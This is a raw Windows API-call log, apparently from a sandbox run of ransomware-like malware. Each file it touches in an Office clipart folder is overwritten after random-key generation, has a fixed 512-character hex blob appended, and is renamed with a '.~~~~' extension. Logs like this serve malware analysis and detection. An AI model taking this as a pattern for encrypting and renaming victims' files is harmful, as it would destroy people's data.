	[0089.932] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363030 | out: pbBuffer=0x363030) returned 1
	[0089.932] CryptReleaseContext (hProv=0x394970, dwFlags=0x0) returned 1
	[0089.932] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363030 | out: hHeap=0x300000) returned 1
	[0089.932] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0089.932] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0089.932] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=20992194504) returned 1
	[0089.932] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0x9f61e8d0, dwHighDateTime=0x1d60e1e)) 
	[0089.932] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0089.932] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0089.932] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0089.932] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x37fc18
	[0089.932] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x358348
	[0089.932] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x37fc18 | out: hHeap=0x300000) returned 1
	[0089.932] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0089.932] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x358348 | out: hHeap=0x300000) returned 1
	[0089.932] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3cdcf0
	[0089.932] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0089.932] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37e620
	[0089.932] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0089.932] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0089.933] GetLastError () returned 0x0
	[0089.933] GetLastError () returned 0x0
	[0089.933] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0089.933] GetLastError () returned 0x0
	[0089.933] GetLastError () returned 0x0
	[0089.934] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xfffffa00, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0089.934] WriteFile (in: hFile=0x11c, lpBuffer=0x2843fe0*, nNumberOfBytesToWrite=0x600, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2843fe0*, lpNumberOfBytesWritten=0x26dfec0*=0x600, lpOverlapped=0x0) returned 1
	[0089.935] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2843fe0 | out: hHeap=0x300000) returned 1
	[0089.935] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0089.935] WriteFile (in: hFile=0x11c, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0089.935] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0089.935] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0089.935] CloseHandle (hObject=0x11c) returned 1
	[0089.935] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3cdcf0
	[0089.935] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00248_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00248_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00248_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00248_.wmf.~~~~")) returned 1
	[0089.936] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0089.936] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0089.936] GetLastError () returned 0x0
	[0089.936] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x395960) returned 1
	[0089.937] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0089.937] CryptReleaseContext (hProv=0x395960, dwFlags=0x0) returned 1
	[0089.937] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0089.937] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0089.937] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0089.937] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=20992718149) returned 1
	[0089.937] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0x9f61e8d0, dwHighDateTime=0x1d60e1e)) 
	[0089.937] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0089.937] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0089.937] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0089.937] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x37fc50
	[0089.937] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0089.937] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x37fc50 | out: hHeap=0x300000) returned 1
	[0089.937] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0089.937] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0089.938] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3cdcf0
	[0089.938] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0089.938] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37e6b8
	[0089.938] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0089.938] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0089.938] GetLastError () returned 0x0
	[0089.938] GetLastError () returned 0x0
	[0089.938] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0089.938] GetLastError () returned 0x0
	[0089.938] GetLastError () returned 0x0
	[0089.940] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xffffed9c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0089.940] WriteFile (in: hFile=0x11c, lpBuffer=0x2843fe0*, nNumberOfBytesToWrite=0x1264, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2843fe0*, lpNumberOfBytesWritten=0x26dfec0*=0x1264, lpOverlapped=0x0) returned 1
	[0089.940] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2843fe0 | out: hHeap=0x300000) returned 1
	[0089.940] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0089.940] WriteFile (in: hFile=0x11c, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0089.940] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0089.940] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0089.940] CloseHandle (hObject=0x11c) returned 1
	[0089.940] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3cdcf0
	[0089.940] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00252_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00252_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00252_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00252_.wmf.~~~~")) returned 1
	[0089.941] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0089.941] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0089.941] GetLastError () returned 0x0
	[0089.942] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x395960) returned 1
	[0089.943] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0089.943] CryptReleaseContext (hProv=0x395960, dwFlags=0x0) returned 1
	[0089.943] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0089.943] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0089.943] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0089.943] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=20993336481) returned 1
	[0089.943] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0x9f644a30, dwHighDateTime=0x1d60e1e)) 
	[0089.943] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0089.943] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0089.943] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0089.943] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x37fc88
	[0089.944] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0089.944] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x37fc88 | out: hHeap=0x300000) returned 1
	[0089.944] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0089.944] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0089.944] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3cdcf0
	[0089.944] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0089.944] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37e750
	[0089.944] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0089.944] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0089.944] GetLastError () returned 0x0
	[0089.944] GetLastError () returned 0x0
	[0089.944] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0089.944] GetLastError () returned 0x0
	[0089.944] GetLastError () returned 0x0
	[0089.949] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xfffff938, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0089.949] WriteFile (in: hFile=0x11c, lpBuffer=0x2843fe0*, nNumberOfBytesToWrite=0x6c8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2843fe0*, lpNumberOfBytesWritten=0x26dfec0*=0x6c8, lpOverlapped=0x0) returned 1
	[0089.949] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2843fe0 | out: hHeap=0x300000) returned 1
	[0089.949] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0089.949] WriteFile (in: hFile=0x11c, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0089.949] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0089.949] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0089.949] CloseHandle (hObject=0x11c) returned 1
	[0089.949] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3cdcf0
	[0089.949] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00254_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00254_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00254_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00254_.wmf.~~~~")) returned 1
	[0089.950] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0089.950] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0089.950] GetLastError () returned 0x0
	[0089.950] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x394970) returned 1
	[0089.951] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0089.951] CryptReleaseContext (hProv=0x394970, dwFlags=0x0) returned 1
	[0089.951] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0089.951] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0089.951] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0089.951] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=20994124065) returned 1
	[0089.951] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0x9f644a30, dwHighDateTime=0x1d60e1e)) 
	[0089.951] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0089.951] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0089.951] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0089.951] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x37fcc0
	[0089.951] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0089.951] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x37fcc0 | out: hHeap=0x300000) returned 1
	[0089.951] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0089.951] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0089.951] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3cdcf0
	[0089.952] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0089.952] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37e7e8
	[0089.952] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0089.952] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0089.952] GetLastError () returned 0x0
	[0089.952] GetLastError () returned 0x0
	[0089.952] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0089.952] GetLastError () returned 0x0
	[0089.952] GetLastError () returned 0x0
	[0089.954] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xffffcf3e, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0089.954] WriteFile (in: hFile=0x11c, lpBuffer=0x2843fe0*, nNumberOfBytesToWrite=0x30c2, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2843fe0*, lpNumberOfBytesWritten=0x26dfec0*=0x30c2, lpOverlapped=0x0) returned 1
	[0089.955] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2843fe0 | out: hHeap=0x300000) returned 1
	[0089.955] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0089.955] WriteFile (in: hFile=0x11c, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0089.955] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0089.955] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0089.955] CloseHandle (hObject=0x11c) returned 1
	[0089.955] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3cdcf0
	[0089.955] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00261_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00261_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00261_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00261_.wmf.~~~~")) returned 1
	[0089.956] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0089.956] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0089.956] GetLastError () returned 0x0
	[0089.957] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x394970) returned 1
	[0089.958] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0089.958] CryptReleaseContext (hProv=0x394970, dwFlags=0x0) returned 1
	[0089.958] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0089.958] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0089.958] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0089.958] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=20994804858) returned 1
	[0089.958] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0x9f66ab90, dwHighDateTime=0x1d60e1e)) 
	[0089.958] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0089.958] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0089.958] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0089.958] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x37fcf8
	[0089.958] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x358348
	[0089.958] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x37fcf8 | out: hHeap=0x300000) returned 1
	[0089.958] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0089.958] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x358348 | out: hHeap=0x300000) returned 1
	[0089.958] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3cdcf0
	[0089.958] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0089.958] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37e880
	[0089.958] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0089.959] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0089.959] GetLastError () returned 0x0
	[0089.959] GetLastError () returned 0x0
	[0089.959] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0089.959] GetLastError () returned 0x0
	[0089.959] GetLastError () returned 0x0
	[0089.960] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xfffff604, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0089.960] WriteFile (in: hFile=0x11c, lpBuffer=0x2843fe0*, nNumberOfBytesToWrite=0x9fc, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2843fe0*, lpNumberOfBytesWritten=0x26dfec0*=0x9fc, lpOverlapped=0x0) returned 1
	[0089.961] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2843fe0 | out: hHeap=0x300000) returned 1
	[0089.961] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0089.961] WriteFile (in: hFile=0x11c, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0089.961] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0089.961] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0089.961] CloseHandle (hObject=0x11c) returned 1
	[0089.961] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3cdcf0
	[0089.961] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00262_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00262_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00262_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00262_.wmf.~~~~")) returned 1
	[0089.962] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
